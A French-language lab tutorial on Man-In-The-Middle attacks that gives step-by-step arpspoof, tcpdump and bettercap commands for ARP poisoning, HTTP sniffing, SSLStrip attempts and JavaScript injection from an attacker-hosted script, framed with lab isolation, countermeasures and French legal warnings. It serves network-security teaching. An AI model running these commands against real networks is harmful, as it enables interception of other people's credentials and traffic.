🎯 Objectif de la semaine
Maîtriser les attaques Man-In-The-Middle (MITM) via ARP spoofing pour intercepter du trafic réseau en clair. Comprendre pourquoi cette attaque est si efficace sur les réseaux locaux non sécurisés, et démontrer l'impérieuse nécessité du chiffrement (HTTPS).
Pourquoi c'est critique : Le MITM est l'attaque réseau la plus fondamentale. La comprendre, c'est comprendre pourquoi la sécurité réseau est une illusion sans chiffrement.
📚 Sujet – Théorie (1 heure)
L'attaque MITM : L'essence de l'interception réseau
Une attaque Man-In-The-Middle n'est pas une simple interception – c'est une usurpation de confiance. L'attaquant s'insère dans une communication légitime en se faisant passer pour les deux parties.
🔍 Les trois phases d'une attaque MITM :
- Interception : Capturer le trafic sans être détecté
- Déchiffrement (si possible) : Casser ou contourner le chiffrement
- Manipulation : Modifier, injecter ou bloquer le trafic
ARP Spoofing : Exploiter la confiance naïve des réseaux
🗺️ Carte ARP Normale vs Empoisonnée
Gateway → MAC_GATEWAY Gateway
Gateway → MAC_ATTAQUANT Attaquant
Victime → MAC_ATTAQUANT Attaquant
Pourquoi ARP est si vulnérable :
- Pas d'authentification : ARP accepte n'importe quelle réponse, sans vérifier l'identité
- État non permanent : Les entrées ARP expirent (souvent 5-20 minutes)
- Broadcast naturel : "Qui a l'IP X ?" est diffusé à tout le réseau local
Les outils : Du classique au moderne
| Outil | Philosophie | Avantages | Limitations |
|---|---|---|---|
arpspoof (dsniff) |
Simple, efficace, UNIX-way | Léger, scriptable, parfait pour comprendre | Juste le spoofing, pas d'interception intégrée |
ettercap |
Framework complet | GUI, plugins, injection, passif/actif | Maintenance décroissante, interface vieillissante |
bettercap |
Moderne, extensible | Module HTTP/HTTPS, REST API, scripting Lua | Plus complexe, dépendances Go |
⚠️ Attention : SSLStrip est (presque) mort
SSLStrip (downgrade HTTPS → HTTP) fonctionne de moins en moins :
- HSTS (HTTP Strict Transport Security) protège les sites majeurs
- Les navigateurs préchargent les listes HSTS
- SSLStrip ne fonctionne que sur les premières visites non-HTTPS
- Leçon : HTTPS partout n'est plus une option, c'est une nécessité
Contre-mesures : Comment les professionnels se protègent
🛡️ Stratégies de défense contre MITM :
- ARP statique :
arp -s IP MAC– mais non scalable - Détection : arpwatch, IDS/IPS avec règles ARP
- Segmentation : VLANs, sous-réseaux (limite la propagation)
- Chiffrement obligatoire : HTTPS, VPN, SSH
- 802.1X : Authentification avant accès réseau
- DNSSEC + Certificate Pinning : Protection couche applicative
🔬 Mission pratique – Laboratoire (2 heures)
Architecture du lab MITM
192.168.56.101] -->|Trafic légitime| G[Gateway
192.168.56.1] K[Kali Attaquant
192.168.56.100] -.->|ARP Poison| V K -.->|ARP Poison| G V -->|Trafic détourné| K K -->|Forwarding| G subgraph "📡 Interface vboxnet0" V K end style K fill:#11151f,stroke:#ef4444,stroke-width:3px style V fill:#0a0e17,stroke:#00d4ff,stroke-width:2px
Prérequis critiques
🔒 Isolation absolue : Votre réseau doit être en Host-Only ou NAT Network. Jamais en bridge sur votre réseau domestique.
- Kali Linux : Machine attaquante
- Ubuntu/Metasploitable : Machine victime avec navigateur
- Pas de firewall : Désactivez temporairement
ufwouiptables
Étapes détaillées avec explications
📝 Documentation obligatoire :
Notez toutes les commandes, toutes les IPs, tous les résultats. Un pentester documente tout.
Étape 1 : Installation et préparation
# Sur Kali : installation des outils
sudo apt update
sudo apt install dsniff ettercap-graphical bettercap wireshark -y
# Vérifier les IPs dans le lab
ip a show vboxnet0 # ou votre interface Host-Only
# Notez : IP_Kali, IP_Victime, IP_Gateway
# Sur la victime, trouver la gateway
ip route show default
# ou
route -n
Étape 2 : Comprendre IP Forwarding
IP Forwarding est crucial : sans lui, vous coupez la connexion de la victime.
# Activer temporairement (perd après reboot)
sudo sysctl -w net.ipv4.ip_forward=1
# Vérifier
cat /proc/sys/net/ipv4/ip_forward # doit afficher 1
# Pour le rendre permanent (déconseillé en lab)
# echo "net.ipv4.ip_forward=1" | sudo tee -a /etc/sysctl.conf
# sudo sysctl -p
💡 Pourquoi forwarder ? Sans forwarding, Kali reçoit le trafic mais ne le transmet pas à la gateway. La victime perd Internet. Avec forwarding, Kali agit comme un routeur transparent.
Étape 3 : ARP Spoofing classique avec arpspoof
Bidirectionnel obligatoire : Il faut empoisonner les deux côtés.
# Terminal 1 : Victime → Gateway
sudo arpspoof -i vboxnet0 -t 192.168.56.101 192.168.56.1
# Terminal 2 : Gateway → Victime
sudo arpspoof -i vboxnet0 -t 192.168.56.1 192.168.56.101
🎯 Défi de compréhension
En une phrase : Pourquoi faut-il deux instances d'arpspoof ?
Réponse : Parce qu'il faut empoisonner le cache ARP de la victime ET de la gateway. Sinon, seulement un sens du trafic passe par l'attaquant.
Étape 4 : Interception avec Wireshark
- Lancez Wireshark :
sudo wireshark & - Sélectionnez l'interface Host-Only
- Sur la victime : visitez
http://httpforever.com - Dans Wireshark : filtrez par
http - Cliquez droit → Follow → TCP Stream
# Astuce : capture en ligne de commande
sudo tcpdump -i vboxnet0 -A -s 0 'port 80 and host 192.168.56.101'
Étape 5 : MITM moderne avec bettercap
# Lancement en mode interactif
sudo bettercap -iface vboxnet0
# Dans l'interface bettercap :
help # Voir toutes les commandes
net.probe on # Découverte passive
net.show # Lister les hôtes
set arp.spoof.targets 192.168.56.101 # Cibler la victime
arp.spoof on # Lancer le spoofing
set http.proxy.sslstrip true # Tenter downgrade HTTPS (limité)
http.proxy on # Activer le proxy HTTP
net.sniff on # Sniffer le trafic
⚠️ SSLStrip moderne ne fonctionne pratiquement plus
Bettercap inclut SSLStrip2, mais avec HSTS préchargé, les sites majeurs résistent. Testez sur des sites HTTP uniquement pour voir l'interception.
Étape 6 : Nettoyage et restauration
# Arrêter bettercap : Ctrl+C
# Ou dans bettercap : arp.spoof off; http.proxy off; net.sniff off
# Pour restaurer les tables ARP (parfois nécessaire)
sudo arping -c 3 -I vboxnet0 -s 192.168.56.1 192.168.56.101
sudo arping -c 3 -I vboxnet0 -s 192.168.56.101 192.168.56.1
# Désactiver IP forwarding
sudo sysctl -w net.ipv4.ip_forward=0
Exercice avancé : Créer un faux site de login
🎯 Défi créatif (optionnel)
Utilisez bettercap pour injecter du JavaScript dans les pages HTTP :
# Dans bettercap :
set http.proxy.injectjs http://votre-kali/script.js
# Créez un script.js qui alerte "MITM Détecté !"
Ce défi vous prépare aux attaques d'injection de la semaine 22.
📋 Objectif de la semaine – Checklist de validation
✅ Compétences techniques acquises
- ARP spoofing bidirectionnel fonctionnel
- IP forwarding activé et compris
- Credentials HTTP interceptés en clair
- Bettercap maîtrisé pour MITM moderne
- Wireshark pour analyse post-capture
🧠 Changement mental accompli
- Compréhension profonde de la vulnérabilité ARP
- Conscience que HTTP = envoi de carte de crédit en clair
- Vision claire des limites de SSLStrip/HSTS
- Habitude de toujours vérifier HTTPS avant saisie
💪 Pour les plus rapides :
Testez dnsspoof (aussi dans dsniff) pour rediriger des domaines spécifiques vers votre machine. Préparez-vous pour la semaine 22 sur le DNS spoofing.
📚 Ressources pour approfondir
Documentation technique :
- RFC 826 – ARP : La spécification originale (1982)
- Bettercap Book : https://www.bettercap.org/book/
- MITMf Framework : Successeur plus moderne (Python)
⚠️ Aspects légaux à retenir
- Article 323-1 Code Pénal : Accès frauduleux à un système
- Article 226-3 : Interception de correspondances
- En entreprise : Toujours un contrat d'engagement écrit
- Sur WIFI public : Assumez toujours qu'un MITM est possible
🔮 Frère d'armes,
Tu viens d'apprendre à devenir invisible.
L'attaque MITM n'est pas une magie noire – c'est l'exploitation d'une faiblesse fondamentale : la confiance. Les réseaux locaux font confiance aux déclarations ARP, les utilisateurs font confiance aux pages web.
Cette semaine, tu as vu à quel point cette confiance est fragile. Un simple arpspoof, et tu es devenu le centre du monde pour deux machines qui te croyaient l'une l'autre.
Mais voici la leçon la plus importante : comprendre cette attaque, c'est comprendre pourquoi nous chiffrons. Chaque paquet HTTPS que tu envoies est une réponse à cette vulnérabilité. Chaque VPN que tu établis est un rempart contre cette interception.
Tu n'es plus un simple utilisateur qui clique sur "Accepter les cookies". Tu es devenu celui qui comprend ce qui se passe quand tu ne chiffres pas.
Dans la semaine 22, nous irons plus loin : nous attaquerons non plus le chemin, mais la destination elle-même. Nous apprendrons à tromper le système de noms, à rediriger les requêtes, à devenir maître du DNS.
Mais pour l'instant, pratique. Rejoue cet exercice trois fois. Change les IPs, change les victimes, comprends chaque paquet.
Un Gardien qui maîtrise le MITM ne se fait jamais berner sur un réseau non sécurisé.
— Platon-Y